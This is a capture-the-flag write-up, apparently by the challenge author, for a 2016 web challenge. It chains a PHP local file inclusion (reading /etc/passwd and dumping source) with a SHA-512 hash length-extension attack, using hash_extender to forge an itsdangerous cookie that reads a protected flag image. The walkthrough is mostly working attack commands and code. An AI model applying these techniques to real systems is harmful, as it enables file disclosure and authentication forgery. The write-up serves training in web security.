PHP local file inclusion vulnerability leads to source code disclosure revealing python code vulnerable to a hash extension attack allowing an attacker to fake itsdangerous cookies and load privileged image files retrieved from a suid binary.
Challenge Description
Author
amon
Description
Breedom ain’t bree. OK. The world gonna be litterd with the sneks. Praise snek.
http://188.166.226.181:8081.
Solution
I designed this challenge for the Qualifying CTF for X-CTF 2016, a CTF aimed at inter-varsity competition. This actually went unsolved so here’s the intended solution 🙂
First, let’s visit the website.
Clicking on the link below the Youtube video brings us to this page:
If we click on the ‘be snek x’ links, a GET parameter is added when calling the same snek.php resource. The image changes as well. For example, clicking on ‘be snek1’ gives us:
Notice the ‘snek.php?besnek=snek1.php’. Something to note here is that when you visit the page with no parameters at all, the image does not revert back to the default one but remains persistent to the snek you chose:
This is explained once you take a look at the cookies:
Looks like a token or something. Let’s keep this in mind and move on. Remember that the snek.php page takes a GET parameter that seems to include a PHP script? Let’s try to perform a local file inclusion attack by including /etc/passwd:
It works! Now, let’s try to get the source code of snek.php with PHP filter:
Decoding the base64 gives us:
<?php
$snek = "snek0.php";
$snekie = $_COOKIE['snek'];
$new = false;
if (!empty($_GET['besnek'])) {
$snek = $_GET['besnek'];
$new = true;
}
include $snek;
include "secret_hashkey.php";
if ($new) {
$snekie = trim(exec("python /sneks/straya.py generate $secret_key " . escapeshellarg($snekfile)));
setcookie("snek", $snekie);
}
?>
<head>
<title>Don't Dread on Me</title>
<style>
img {
width: 50%;
height: auto;
}
</style>
</head>
<body>
<div align="center">
<h1>U ARE THIS SNEK :D:D:D:D</h1>
<?php
passthru("python /sneks/straya.py load $secret_key " . escapeshellarg($snekie));
?>
<br>
<a href="./snek.php?besnek=snek1.php">be snek1</a>
<a href="./snek.php?besnek=snek2.php">be snek2</a>
<a href="./snek.php?besnek=snek3.php">be snek3</a>
<a href="./snek.php?besnek=snek4.php">be snek4</a>
<a href="./snek.php?besnek=snek5.php">be snek5</a>
</div>
</body>
Four things to pay attention to:
$snek
include (take a look atsnek0.php
)secret_hashkey.php
include (take a look atsecret_hashkey.php
)exec
call to/sneks/straya.py
and cookie set (take a look atstraya.py
)passthru
call to/sneks.straya.py
snek0.php
<?php
$snekfile = "snek.jpg";
?>
This isn’t particularly useful.
secret_hashkey.php
<?php
# This is not the flag
$secret_key = exec("./secret_key");
?>
If you tried to grab secret_key
from the server, you would not receive
anything since it was set non-read but executable. So there is no way to obtain
the secret_key
variable unless you have arbitrary PHP execution which isn’t the
point of the challenge.
/sneks/straya.py
#!/usr/bin/python
import sys
from itsdangerous import URLSafeSerializer
import subprocess
import hashlib
import os
from os.path import splitext
"""
# whoami
www-data
# ls -la
total 348
drwxr-xr-x 2 snekuser snekuser 4096 Apr 9 18:10 .
drwxr-xr-x 80 root root 4096 Apr 9 18:13 ..
-r-sr-sr-x 1 snekuser snekuser 7560 Apr 9 18:10 read_file
-r-------- 1 snekuser snekuser 24961 Apr 9 14:39 snek.jpg
-r-------- 1 snekuser snekuser 7118 Apr 9 12:47 snek1.jpg
-r-------- 1 snekuser snekuser 35242 Apr 9 12:47 snek2.jpg
-r-------- 1 snekuser snekuser 50713 Apr 9 12:47 snek3.jpg
-r-------- 1 snekuser snekuser 173542 Apr 9 12:47 snek4.jpg
-r-------- 1 snekuser snekuser 18784 Apr 9 12:48 snek5.jpg
-r-------- 1 snekuser snekuser 9418 Apr 9 13:47 snek_flag.png
-r-xr-xr-x 1 snekuser snekuser 1819 Apr 9 17:43 straya.py
"""
def main():
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
action = sys.argv[1]
secret_key = sys.argv[2]
if action == "generate":
filename = sys.argv[3]
basename = filename.split(".")[-2]
extension = filename.split(".")[-1]
digest = hashlib.sha512(secret_key + basename).hexdigest()
des = URLSafeSerializer(digest)
credentials = {'filename': filename.encode("base64"),
'ext': extension,
'length': len(filename),
'signature': digest}
print des.dumps(credentials, salt="donttread")
return
signed_serial = sys.argv[3]
result = URLSafeSerializer("").loads_unsafe(signed_serial)
img = "snek.jpg"
try:
if result[1]:
signature = result[1]['signature']
extension = result[1]['ext']
filename = result[1]['filename'].decode("base64")
length = result[1]['length']
if len(filename) == length and len(extension) == 3:
basename = filename.split(".")[-2]
digest = hashlib.sha512(secret_key + splitext(filename)[0]).hexdigest()
if digest == signature:
des = URLSafeSerializer(digest)
des.loads(signed_serial, salt="donttread")
img = "%s.%s" % (basename, extension)
except:
pass
proc = subprocess.Popen(["./read_file", img], stdout=subprocess.PIPE)
imgo = proc.stdout.read().encode("base64").replace("\n", "")
output = '<img src="data:image/png;base64,%s" alt="i am %s" />' % (imgo, img)
print output
if __name__ == "__main__":
main()
Now, to make the end target more obvious, I have included a comment in the
source file displaying the results of the ls -la
command in the image file
directory. It should be fairly obvious that the end game is to read the file
snek_flag.png
. Also, it is not possible to read the file directly with our PHP
local file inclusion vulnerability. The only possible way with the permissions
set the way they are is to use the setuid readfile executable.
From the script, we can see that the cookie is signed using itsdangerous. Now, we can attempt to load the cookie in our browser unsafely to see what the contents are:
In [7]: URLSafeSerializer("x").loads_unsafe(".eJwVzj0OwjAMQOG7ZO5Qx4ljd0TiFizOj0sRRAhaCYG4O2X83vQ-rr1WN7nLfXaDey5z13V7tL1k8xSMuGICHD2logqI0LwYAkityCQhWqsBsQmnXcbaTLRw9CAE0VLQnMRnsgqVxGRMHKAEGblADoWVJFJEVc01C49egBKYtn3n2vq8nt0kg7Nlh97-Y8XHq76Pm_ZDP3X3_QEZdzgA.V5Npu-hm5iMxPaEtnmzeQhK8Y08")
Out[7]:
(False,
{'ext': 'jpg',
'filename': 'c25lazEuanBn\n',
'length': 9,
'signature': 'bf264f68d37130267caa1331e29f3119dd386945fed433e987694f8aef9ac85219615f74ab792b6fd1d69f907841c4908c1b4c8a695653aaabdb980291671fae'})
In [8]: "c25lazEuanBn".decode("base64")
Out[8]: 'snek1.jpg'
The idea of the end game is to forge a valid itsdangerous cookie that contains
payload that resolves to snek_flag.png
and contains a valid payload signature.
Since the itsdangerous class is initialised with the payload signature as a
secret key, we can forge it once we generate a valid signature. To do this, we
simply make use of a hash extension attack. The program is vulnerable to this
because it appends user controlled content to a secret key and hashes it using
SHA512, a hash that is based on Merkle-Damgård construction.
However, we still have to trick the script into generating proper file names
even after mangling the ‘filename’ entry in the dictionary since we cannot
completely overwrite it, only append. None of the snek options on the web
application allow us to use snek.jpg as well, so appending _flag
is not an
option. If we look closely, there are two fishy aspects of the script though:
- The basename is assigned to
filename.split(".")[-2]
but the actual signature calculation usessplitext(filename)[0])
- The extension used from the
ext
entry not the actual file name.
To demonstrate the differences in (1):
In [16]: "a.jpg".split(".")[-2]
Out[16]: 'a'
In [17]: splitext("a.jpg")[0]
Out[17]: 'a'
In [18]: "a.b.jpg".split(".")[-2]
Out[18]: 'b'
In [19]: splitext("a.b.jpg")[0]
Out[19]: 'a.b'
This gives us a method to create valid file names that make sense to both the
file system and the hash calculation. All we have to do is provide ‘png’ in the
extension field and we can generate a snek_flag.png
. Now, all we have left to
do is to figure out or guess how long the secret_key
is. The intended solution
just expects the participants to try the possible lengths and come across a
good number: 11.
Let’s generate a good payload signature now using hash_extender:
$ ./hash_extender -s bf264f68d37130267caa1331e29f3119dd386945fed433e987694f8aef9ac85219615f74ab792b6fd1d69f907841c4908c1b4c8a695653aaabdb980291671fae -d snek1 -a .snek_flag -f sha512 -l 11
Type: sha512
Secret length: 11
New signature: 048ad864a10dfa8a7ffc0c0f4849c2d34f6f6af345bc2fe9901c5e42f92e0d3db1f99b5e5186c40599bbf25e338d2bdcaaa7791ef872f9e2c73cff74678a624c
New string: 736e656b31800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000802e736e656b5f666c6167
With this new signature, we can construct our itsdangerous cookie and sign it.
In [88]: sig = "048ad864a10dfa8a7ffc0c0f4849c2d34f6f6af345bc2fe9901c5e42f92e0d3db1f99b5e5186c40599bbf25e338d2bdcaaa7791ef872f9e2c73cff74678a624c"
In [89]: ext = "png"
In [90]: fn = "736e656b31800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000802e736e656b5f666c6167".decode("hex") + ".jpg"
In [91]: serial = URLSafeSerializer(sig, salt="donttread")
In [92]: obj = {'ext': ext, 'filename': fn.encode("base64"), 'length': l, 'signature': sig}
In [93]: serial.dumps(obj)
Out[93]: '.eJytjrtqQzEQRP9FtQtptXoZUpgUbkLawMXNarV7bbBFHtfgxPjfLXf5AE93BuYwVyOXxazNZ5_Nyvwc5k7L-VtGYzFTyxHJ2aaUKamyZauYsTA0jxo1knoMlUGlFOs4CIIWENt8q05LqUGCy5HRhgFVIYj3uUFtTEQpFSea09gIcPKsmjCmTBGQx52j9HnZm7XzbmX0MJBOj2sM4Uh_280zsutP0fyzvW7e-vt5-lh0Ol3202_44i2_7Lq53QFwUmdK.UqoghPmOqRguNySjP0y6LFvpWx0'
Now, all we need to do is plug in that cookie into the browser and get our flag!
Flag: XCTF{0h_t4k3_m3_1n_0_10der_w0m4n}
Leave a Comment